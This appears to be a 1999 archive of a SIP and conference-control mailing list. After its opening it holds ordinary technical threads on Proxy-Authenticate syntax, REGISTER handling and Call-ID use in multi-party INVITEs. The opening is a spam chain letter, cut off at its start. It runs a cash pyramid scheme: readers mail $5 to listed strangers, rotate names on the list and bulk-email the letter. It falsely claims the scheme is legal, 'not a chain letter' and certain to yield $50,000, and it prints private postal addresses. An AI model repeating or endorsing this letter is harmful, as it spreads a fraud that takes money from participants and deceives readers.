for REPORT #1, and 100+ orders for REPORT #2 and you will make $50,000 
or more in 90 days. I AM LIVING PROOF THAT IT WORKS!!!
If you choose not to participate in this program, I am sorry. It really 
is a great opportunity with little cost or risk to you. If you choose to 
participate, follow the program and you will be on your way to financial 
security. If you are a fellow business owner and are in financial 
trouble like I was, or you want to start your own business, consider 
this a sign. I DID!
Sincerely,
Johnathon Rourke



A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM:
By the time you have read the enclosed program and reports, you should 
have concluded that such a program, and one that is legal, could not 
have been created by an amateur.
Let me tell you a little about myself. I had a profitable business for 
10 years. Then in 1979 my business began falling off. I was doing the 
same things that were previously successful for me, but it wasn't 
working. Finally, I figured it out. It wasn't me, it was the economy.  
Inflation and recession had replaced the stable economy that had been 
with us since 1945.I don't have to tell you what happened to the 
unemployment rate... because many of you know from first hand 
experience. There were more failures and bankruptcies than ever before.
The middle class was vanishing. Those who knew what they were doing 
invested wisely and moved up. Those who did not, including those who 
never had anything to save or invest, were moving down into the ranks of 
the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET 
POORER." The traditional methods of making money will never allow you to 
"move up" or "get rich", inflation will see to that.
You have just received information that can give you financial freedom 
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF 
EFFORT." You can make more money in the next few months than you have 
ever imagined. I should also point out that I will not see a penny of 
this money, nor anyone else who has provided a testimonial for this 
program. I have already made over 4 MILLION DOLLARS!I have retired from 
the program after sending thousands and thousands of programs.
Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way . 
It works exceedingly well as it is now. Remember to e-mail a copy of 
this exciting report to everyone you can think of. One of the people you 
send this to may send out 50,000...and your name will be on everyone of 
them!
Remember though, the more you send out the more potential customers you 
will reach.
So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent. IT IS UP TO YOU NOW!
"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, take 
a little time to read it and REALLY THINK ABOUT IT. Get a pencil and 
figure out what could happen when YOU participate. Figure out the worst 
possible response and no matter how you calculate it, you will still 
make a lot of money! You will definitely get back what you invested. Any 
doubts you have will vanish when your first orders come in. IT WORKS!
Jody Jacobs, Richmond, VA
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLAR$
INSTRUCTIONS:
This method of raising capital REALLY WORKS 100% EVERY TIME.  I am sure 
that you could use up to $50,000 or more in the next 90 days. Before you 
say "BULL... ", please read this program carefully.
This is not a chain letter, but a perfectly legal money making 
opportunity. Basically, this is what you do: As with all multi-level 
businesses, we build our business by recruiting new partners and selling 
our products. Every state in the USA allows you to recruit new 
multi-level business partners, and we offer a product for EVERY dollar 
sent. YOUR ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not 
involved in personal selling. You do it privately in your own home, 
store or office. This is the GREATEST Multi-Level Mail Order Marketing 
anywhere.
This is what you MUST do:
1. Order all 4 reports shown on the list below (you can't sell them if 
you don't order them).
* For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU 
ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & RETURN ADDRESS (in 
case of a problem) to the person whose name appears on the list next to 
the report.  MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE IN CASE 
OF ANY MAIL PROBLEMS!
* When you place your order, make sure you order each of the four 
reports. You will need all four reports so that you can save them on 
your computer and resell them.
* Within a few days you will receive, via e-mail, each of the four 
reports. Save them on your computer so they will be accessible for you 
to send to the 1,000's of people who will order them from you.

2. IMPORTANT DO NOT alter the names of the people who are listed next to 
each report, or their sequence on the list, in any way other than is 
instructed below in steps "a" through "f" or you will lose out on the 
majority of your profits. Once you understand the way this works, you'll 
also see how it doesn't work if you change it. Remember, this method has 
been tested, and if you alter it, it will not work.
a. Look below for the listing of available reports.
b. After you've ordered the four reports, take this advertisement and 
remove the name and address under REPORT #4. This person has made it 
through the cycle and is no doubt counting their $50,000!  c. Move the 
name and address under REPORT #3 down to REPORT #4.  d. Move the name 
and address under REPORT #2 down to REPORT #3.  e. Move the name and 
address under REPORT #1 down to REPORT #2.  f.  Insert your name/address 
in the REPORT #1 position.
Please make sure you COPY ALL INFORMATION, every name and address, 
ACCURATELY!
3. Take this entire letter, including the modified list of names, and 
save it to your computer. Make NO changes to the instruction portion of 
this letter.
Your cost to participate in this is practically nothing (surely you can 
afford $20). You obviously already have an Internet connection and 
e-mail is FREE!


There are two primary methods of building your downline:
METHOD #1: SENDING BULK E-MAIL
Let's say that you decide to start small, just to see how it goes, and 
we'll assume you and all those involved send out only 2,000 programs 
each. Let's also assume that the mailing receives a 0.5% response. Using 
a good list the response could be much better. Also, many people will 
send out hundreds of thousands of programs instead of 2,000. But 
continuing with this example, you send out only 2,000 programs. With a 
0.5% response, that is only 10 orders for REPORT #1. Those 10 people 
respond by sending out 2,000 programs each for a total of 20,000. Out of 
those 0.5%, 100 people respond and order REPORT #2. Those 100 mail out 
2,000 programs each for a total of 200,000.
The 0.5% response to that is 1,000 orders for REPORT #3. Those 1,000 
send out 2,000 programs each for a 2,000,000 total. The 0.5% response to 
that is 10,000 orders for REPORT #4. That's 10,000 $5 bills for you. 
CASH!!! Your total income in this example is $50 + $500 + $5,000 + 
$50,000 for a total of $55,550!!! REMEMBER FRIEND, THIS IS ASSUMING 
1,990 OUT OF THE 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND 
TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF 
EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.  Believe 
me, many people will do just that, and more! By the way, your cost to 
participate in this is practically nothing.  You obviously already have 
an Internet connection and e-mail is FREE!!! REPORT #2 will show you the 
best methods for bulk e-mailing, tell you where to obtain free bulk 
e-mail software and where to obtain e-mail lists.


METHOD #2 - PLACING FREE ADS ON THE INTERNET
Advertising on the internet is very, very inexpensive, and there are 
HUNDREDS of FREE places to advertise. Let's say you decide to start 
small just to see how well it works. Assume your goal is to get ONLY 10 
people to participate on your first level. (Placing a lot of FREE ads on 
the Internet will EASILY get a larger response.) Also assume that 
everyone else in YOUR ORGANIZATION gets ONLY 10 downline members.
Follow this example to achieve the STAGGERING results below:
1st level-your 10 members with 
$5.......................................$50
2nd level--10 members from those 10 ($5 x 100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)...........$5,000
4th level--10 members from those 1,000 ($5 x 10,000).....$50,000
THIS TOTALS ---------->$55,550
Remember friends, this assumes that the people who participate only 
recruit 10 people each. Think for a moment what would happen if they got 
20 people to participate! Most people get 100's of participants!  THINK 
ABOUT IT! For every $5.00 you receive, all you must do is e-mail them 
the report they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON 
ALL ORDERS! This will guarantee that the e-mail THEY send out with YOUR 
name and address on it will be prompt because they can't advertise until 
they receive the report!
AVAILABLE REPORTS
*** Order Each REPORT by NUMBER and NAME ***
Notes:
* ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT 
ACCEPTED.
* ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL.
* Make sure the cash is concealed by wrapping it in at least two sheets 
of paper. On one of those sheets of paper, include:
(a) the number & name of the report you are ordering, (b) your e-mail 
address, and (c) your name & postal address.
PLACE YOUR ORDER FOR THESE REPORTS NOW:

REPORT #1   "The Insider's Guide to Advertising for Free on the 
Internet'
ORDER REPORT #1 FROM
EBIZ 
PH2-45 Grenoble Drive
Toronto, Ontario
Canada   M3C 1C5

REPORT #2  "The Insider's Guide to sending Bulk E-Mail on the Internet.
ORDER REPORT #2 FROM:
C. Alexander
2315 Lava Dr.
San Jose, CA 95133


REPORT #3  "The secrets of Multilevel Marketing on the Internet.
ORDER REPORT #3 FROM:
P.G. Webb
16 Huntley Crescent
St. Catharines, Ontario
Canada, L2M 6E7


REPORT #4  "How to become a Millionaire Utilizing the Power of 
Multilevel Marketing on the Internet"
ORDER REPORT #4 FROM:
F.D. Hardy
22306 128th. ST. E.
Sumner, Wa. 98390-7634


About 50,000 new people get online every month!
******* TIPS FOR SUCCESS *******
* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow the 
directions accurately.
* Send for the four reports IMMEDIATELY so you will have them when the 
orders start coming in because: When you receive a $5 order, you MUST 
send out the requested product/report.
* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
* Be patient and persistent with this program. If you follow the 
instructions exactly, your results WILL BE SUCCESSFUL!
* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

******* YOUR SUCCESS GUIDELINES ******* Follow these guidelines to 
guarantee your success:
If you don't receive 20 orders for REPORT #1 within two weeks, Continue 
advertising or sending e-mails until you do. Then, a couple of weeks 
later you should receive at least 100 orders for REPORT#2. If you don 
't, continue advertising or sending e-mails until you do. Once you have 
received 100 or more orders for REPORT #2, YOU CAN RELAX, because the 
system is already working for you, and the cash will continue to roll 
in!
THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in front 
of a DIFFERENT report. You can KEEP TRACK of your PROGRESS by watching 
which report people are ordering from you. If you want to generate more 
income, send another batch of e-mails or continue placing ads and start 
the whole process again! There is no limit to the income you will 
generate from this business!
Before you make your decision as to whether or not you participate in 
this program. Please answer one question. DO YOU WANT TO CHANGE YOUR 
LIFE? If the answer is yes, please look at the following facts about 
this program:

1. You are selling a product which does not Cost anything to PRODUCE, 
SHIP OR ADVERTISE.
2. All of your customers pay you in CASH!
3. E-mail is without question the most powerful method of distributing 
information on earth. This program combines the distribution power of 
e-mail together with the revenue generating power of multi-level 
marketing.
4. Your only expense-other than your initial $20 investment-is your 
time!
5. Virtually all of the income you generate from this program is PURE 
PROFIT!
6. This program will change your LIFE FOREVER.

ACT NOW! Take your first step toward achieving financial independence.  
Order the reports and follow the program outlined above-SUCCESS will be 
your reward.
Thank you for your time and consideration.


PLEASE NOTE: If you need help with starting a business, registering a 
business name, learning how income tax is handled, etc., contact your 
local office of the Small Business Administration (a Federal Agency) 
1-800-827-5722 for free help and answers to questions. Also, the 
Internal Revenue Service offers free help via telephone and free 
seminars about business tax requirements. Your earnings are highly 
dependent on your activities and advertising. The information contained 
on this site and in the report constitutes no guarantees stated nor 
implied. In the event that it is determined that this site or report 
constitutes a guarantee of any kind, that guarantee is now void. The 
earnings amounts listed on this site and in the report are estimates 
only. If you have any questions of the legality of this program, contact 
the Office of Associate Director for Marketing Practices, Federal Trade 
Commission, Bureau of Consumer Protection in Washington, DC.
 
 
 
 
 
 

From confctrl-owner  Mon Sep 20 09:32:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA04789
	for confctrl-outgoing; Mon, 20 Sep 1999 09:32:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA04767;
	Mon, 20 Sep 1999 09:32:33 -0700 (PDT)
Received: from s2.smtp.oleane.net (s2.smtp.oleane.net [195.25.12.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19774;
	Mon, 20 Sep 1999 09:32:31 -0700 (PDT)
Received: from Dell  (dyn-1-1-230.Cor.dialup.oleane.fr [62.161.8.230])  by s2.smtp.oleane.net  with SMTP id SAA31040; Mon, 20 Sep 1999 18:11:58 +0200 (CEST)
Message-ID: <003701bf0382$f3a87ac0$0701a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@s2.smtp.oleane.net;>
Subject: Media Gateway Control 99 : Call for paper
Date: Mon, 20 Sep 1999 18:06:56 +0200
Organization: Upperside
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002A_01BF0392.ECF8CC60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01BF0392.ECF8CC60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Paris, France, 15-17 December 1999

Media Gateway Control 99 Conference.

MGCP, Megaco, H.248. How to assure convergence between IP and PSTN =
networks.
Technical challenges, trials, interoperability tests, normalization =
work.

Call for papers:  www.upperside.fr/bamgc.htm

Thanks



------=_NextPart_000_002A_01BF0392.ECF8CC60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Paris, France, 15-17 December 1999<BR><BR>Media =
Gateway=20
Control 99 Conference.<BR><BR>MGCP, Megaco, H.248. How to assure =
convergence=20
between IP and PSTN networks.<BR>Technical challenges, trials, =
interoperability=20
tests, normalization work.<BR><BR>Call for papers:&nbsp; <A=20
href=3D"http://www.upperside.fr/bamgc.htm">www.upperside.fr/bamgc.htm</A>=
<BR><BR>Thanks<BR></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_002A_01BF0392.ECF8CC60--


From confctrl-owner  Tue Sep 21 13:36:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA04178
	for confctrl-outgoing; Tue, 21 Sep 1999 13:36:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA04173
	for <confctrl@zephyr.isi.edu>; Tue, 21 Sep 1999 13:36:00 -0700 (PDT)
Received: from l3mail02.level3.com (l3mail02.l3.com [209.119.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28344
	for <confctrl@ISI.edu>; Tue, 21 Sep 1999 13:35:59 -0700 (PDT)
From: Aparna.Vemuri@Level3.com
Received: by level3.com with Internet Mail Service (5.5.2448.0)
	id <STNC0GXG>; Tue, 21 Sep 1999 14:35:01 -0600
Message-ID: <6DD3824BDF75D211930E0008C71EC9200409668A@l3lsvlmail02.l3.com>
To: confctrl@ISI.EDU
Cc: Rich.Terpstra@Level3.com, Gregory.Brown@Level3.com
Subject: Proxy-Authenticate header field 
Date: Tue, 21 Sep 1999 14:30:14 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

We have a question related to the Proxy-Authenticate header field of SIP.
The syntax for this is defined in RFC 2068 (HTTP) as follows:

          Proxy-Authenticate  = "Proxy-Authenticate" ":" challenge

          auth-scheme    = token

          auth-param     = token "=" quoted-string

          challenge      = auth-scheme 1*SP realm *( "," auth-param )

          realm          = "realm" "=" realm-value
          realm-value    = quoted-string


Would anyone know if there are any pre-defined values for auth-scheme 
and auth-param (probably defined in some other RFC?)?

Thanks,
Aparna

Aparna V.
Level 3 Communications.







From confctrl-owner  Tue Sep 21 19:48:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA17917
	for confctrl-outgoing; Tue, 21 Sep 1999 19:48:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA17911
	for <confctrl@zephyr.isi.edu>; Tue, 21 Sep 1999 19:48:04 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA06589
	for <confctrl@isi.edu>; Tue, 21 Sep 1999 19:48:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Tue Sep 21 22:47:31 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.39])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id WAA18271;
	Tue, 21 Sep 1999 22:47:24 -0400 (EDT)
Message-ID: <37E843A2.84F823F0@bell-labs.com>
Date: Tue, 21 Sep 1999 22:49:06 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Aparna.Vemuri@level3.com
CC: confctrl@ISI.EDU, Rich.Terpstra@level3.com, Gregory.Brown@level3.com
Subject: Re: Proxy-Authenticate header field
References: <6DD3824BDF75D211930E0008C71EC9200409668A@l3lsvlmail02.l3.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

RFC2069 defines the format for digest authentication.

For basic authentication, see section 11 of rfc2068. Reading this
section several times, I agree its confusing, because a formal
definition of the basic challenge is missing. It should be something
like:

auth-scheme = token | basic-scheme | digest-scheme

basic-scheme = "Basic"

For basic, there are no auth-params defined.


I also noted the following terrible mistake in rfc2069:

   authentication are very similar to those already described.  Upon
   receiving a request which requires authentication, the proxy/server
   must issue the "HTTP/1.1 401 Unauthorized" header followed by a
   "Proxy-Authenticate" header of the form

     Proxy-Authentication     = "Proxy-Authentication" ":" "Digest"
                                   digest-challenge

   where digest-challenge is as defined above in section 2.1. The
   client/proxy must then re-issue the request with a Proxy-Authenticate
   header of the form

     Proxy-Authorization      = "Proxy-Authorization" ":"
                                   digest-response

   where digest-response is as defined above in section 2.1. When
   authentication succeeds, the Server may optionally provide a Proxy-
   Authentication-info header of the form

The names of the headers in the BNF are wrong! It should be
Proxy-Authenticate, not Proxy-Authentication. This seems to be fixed in
rfc2617, which obsoletes rfc2069. Note that rfc2617 was issued after
SIP.

-Jonathan R.

Aparna.Vemuri@level3.com wrote:

> 
> Hello,
> 
> We have a question related to the Proxy-Authenticate header field of SIP.
> The syntax for this is defined in RFC 2068 (HTTP) as follows:
> 
>           Proxy-Authenticate  = "Proxy-Authenticate" ":" challenge
> 
>           auth-scheme    = token
> 
>           auth-param     = token "=" quoted-string
> 
>           challenge      = auth-scheme 1*SP realm *( "," auth-param )
> 
>           realm          = "realm" "=" realm-value
>           realm-value    = quoted-string
> 
> Would anyone know if there are any pre-defined values for auth-scheme
> and auth-param (probably defined in some other RFC?)?
> 
> Thanks,
> Aparna
> 
> Aparna V.
> Level 3 Communications.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Sep 22 01:55:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA29821
	for confctrl-outgoing; Wed, 22 Sep 1999 01:55:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA29816
	for <confctrl@zephyr.isi.edu>; Wed, 22 Sep 1999 01:55:36 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA22957
	for <confctrl@isi.edu>; Wed, 22 Sep 1999 01:54:09 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id OAA16115
	for <confctrl@isi.edu>; Wed, 22 Sep 1999 14:52:59 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567F4.0030DC65 ; Wed, 22 Sep 1999 14:23:41 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567F4.002F4062.00@sampark.hss.hns.com>
Date: Wed, 22 Sep 1999 14:23:40 +0530
Subject: A few questions on REGISTER
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

with ref. to SIP RFC 2453

1) "Section 4.2.6 says for Cseq : Registrations for same CallID MUST have
inc. Cseq.......
However , Server does not reject out of order requests."

Somewhere else in the RFC its stated that a UAC SHOULD not send a new
REGISTER till it receives
a response to a prev. register (or a timeout, I guess)

But suppose a UAC does, contrary to the reccomendation, send a few
REGISTERs without waiting for a response,
and the Proxy receives and accepts all, then its possible the current
Registration does not reflect the latest registration sent by the client.

I realise that the UAC in the first place is not doing what it should, but
doesnt it make more sense for the Proxy to reject REGISTERs whose CSEq is
lesser than the last processed CSeq for that call ?
By allowing all REGISTERs, what is being acheived ?

2) Section 4.2.6 again:

"Registrations not refreshed after this amt. of time SHOULD be silently
discarded " (context of ttl expiring)

Is there any provision for the server to inform the client that its being
Unregd. ?
The client should be able to have a timer, which should trigger on the
returned Expires hdr from the proxy and re-register if needs be,
but can any analogy be drawn to say H323, which allows the GK to send a URQ
to the EP (especially if Keepalive is not supported by the EP(endpoint)) to
inform him of unregistration ?

Finally, a statement in 4.2.6, last para:

"The server SHOULD return the current list of registrations in the 200
response as Contact hdr fields"

I dont know how many people made the same mistake, but  I initially
interpreted this as the Server returning ALL the registrations of ALL the
registered users in the 200 response - which is why I had assumed that I
can implement the 'Current Users' list  by simply sending a REGISTER to the
server. It was later pointed out that it should only return the requesting
Users registrations and not all.
Maybe the text needs to be specific, or is it just me :-p ?


Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2















From confctrl-owner  Wed Sep 22 06:51:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA08631
	for confctrl-outgoing; Wed, 22 Sep 1999 06:51:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08626
	for <confctrl@zephyr.isi.edu>; Wed, 22 Sep 1999 06:51:35 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02213
	for <confctrl@ISI.EDU>; Wed, 22 Sep 1999 06:51:34 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA03502;
	Wed, 22 Sep 1999 09:51:31 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA10336;
	Wed, 22 Sep 1999 09:51:30 -0400 (EDT)
Message-ID: <37E8DED8.36AA1418@cs.columbia.edu>
Date: Wed, 22 Sep 1999 09:51:20 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@bell-labs.com>
CC: Aparna.Vemuri@level3.com, confctrl@ISI.EDU, Rich.Terpstra@level3.com,
        Gregory.Brown@level3.com
Subject: Re: Proxy-Authenticate header field
References: <6DD3824BDF75D211930E0008C71EC9200409668A@l3lsvlmail02.l3.com> <37E843A2.84F823F0@bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 

> auth-scheme = token | basic-scheme | digest-scheme
> 
> basic-scheme = "Basic"
> 
> For basic, there are no auth-params defined.
> 
> I also noted the following terrible mistake in rfc2069:
> 
>    authentication are very similar to those already described.  Upon
>    receiving a request which requires authentication, the proxy/server
>    must issue the "HTTP/1.1 401 Unauthorized" header followed by a
>    "Proxy-Authenticate" header of the form
> 
>      Proxy-Authentication     = "Proxy-Authentication" ":" "Digest"
>                                    digest-challenge
> 
>    where digest-challenge is as defined above in section 2.1. The
>    client/proxy must then re-issue the request with a Proxy-Authenticate
>    header of the form
> 
>      Proxy-Authorization      = "Proxy-Authorization" ":"
>                                    digest-response
> 
>    where digest-response is as defined above in section 2.1. When
>    authentication succeeds, the Server may optionally provide a Proxy-
>    Authentication-info header of the form
> 
> The names of the headers in the BNF are wrong! It should be
> Proxy-Authenticate, not Proxy-Authentication. This seems to be fixed in
> rfc2617, which obsoletes rfc2069. Note that rfc2617 was issued after
> SIP.

The updated draft already mentions RFC 2617 instead of 2069.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Sep 22 12:28:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA21437
	for confctrl-outgoing; Wed, 22 Sep 1999 12:28:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21432
	for <confctrl@zephyr.isi.edu>; Wed, 22 Sep 1999 12:28:06 -0700 (PDT)
Received: from tnint06.telogy.com (tnint06.telogy.com [209.116.120.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA06697
	for <confctrl@isi.edu>; Wed, 22 Sep 1999 12:28:03 -0700 (PDT)
Received: by argentina.telogy.com with Internet Mail Service (5.5.2448.0)
	id <TJB9V828>; Wed, 22 Sep 1999 15:27:51 -0400
Message-ID: <61891BA043DED21180920090273F173803471C@argentina.telogy.com>
From: Wing Man Kwok <wkwok@telogy.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Call-id in INVITE messages with ALSO and REQUEST-BY
Date: Wed, 22 Sep 1999 15:27:43 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

All,

I have a question about the call-id values in INVITE messages with ALSO or
REQUEST-BY headers as specified in draft-ietf-mmusic-sip-cc-01.txt.

Suppose we have the following scenerio:

A is talking to B in a call with call-id 123@a.com
Now A wants to add C to the call (thus it becomes a conference call).  The
following INVITE messages will be exchanged:
   A sends C an "INVITE C  Also:B"
   C sends B an "INVITE B  Also:A  ReqBy:A"

My question is:
   Are the above two INVITE messages sent with the call-id 123@a.com of the
ongoing call between A and B?  

Thanks.

Wing Man Kwok

From confctrl-owner  Wed Sep 22 14:34:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA26061
	for confctrl-outgoing; Wed, 22 Sep 1999 14:34:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA26056
	for <confctrl@zephyr.isi.edu>; Wed, 22 Sep 1999 14:34:14 -0700 (PDT)
Received: from mail5.Dialogic.com (mail5.dialogic.com [146.152.224.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA19627
	for <confctrl@ISI.EDU>; Wed, 22 Sep 1999 14:34:13 -0700 (PDT)
Received: from sanmiguel.dialogic.com ([146.152.131.2])
 by mail5.Dialogic.com (PMDF V5.2-31 #33110)
 with SMTP id <0FIH00BP4D8Z1S@mail5.Dialogic.com> for confctrl@ISI.EDU; Wed,
 22 Sep 1999 17:34:12 -0400 (EDT)
Received: from 100grand by sanmiguel.dialogic.com (SMI-8.6/SMI-SVR4)
	id OAA16770; Wed, 22 Sep 1999 14:38:50 -0700
Date: Wed, 22 Sep 1999 14:29:25 -0700
From: Jeff Mark <Jeff.Mark@Dialogic.com>
Subject: RE: Call-id in INVITE messages with ALSO and REQUEST-BY
In-reply-to: <61891BA043DED21180920090273F173803471C@argentina.telogy.com>
To: Wing Man Kwok <wkwok@telogy.com>, "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Message-id: <000a01bf0541$8b550040$9c839892@dialogic.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yep, that's right.  You would use the call-id (123@a.com) of the existing
A-B call. When B receives the triggered INVITE from C it will know C is
being added to the exisiting call (123@a.com).  If a different call-id was
used, B would think this was a new call being formed.

There is an add party example in the draft (Figure 3 in section 8) where A
& B were connected, and A was adding C to the call.  Let's use your
call-id of 123@A.com for the exising A-B call.  Adding the call-id to the
diagram we get something like this for the message flow:

	A->C: INVITE C
	      Call-Id: 123@A.com
	      Also: B

	C->B: INVITE B
	      Call-Id: 123@A.com
	      Also: C            <---- Why C?
		Requested-By: A

	B->C: 200 OK
	C->B: ACK

	C->A: 200 OK
	A->C: ACK

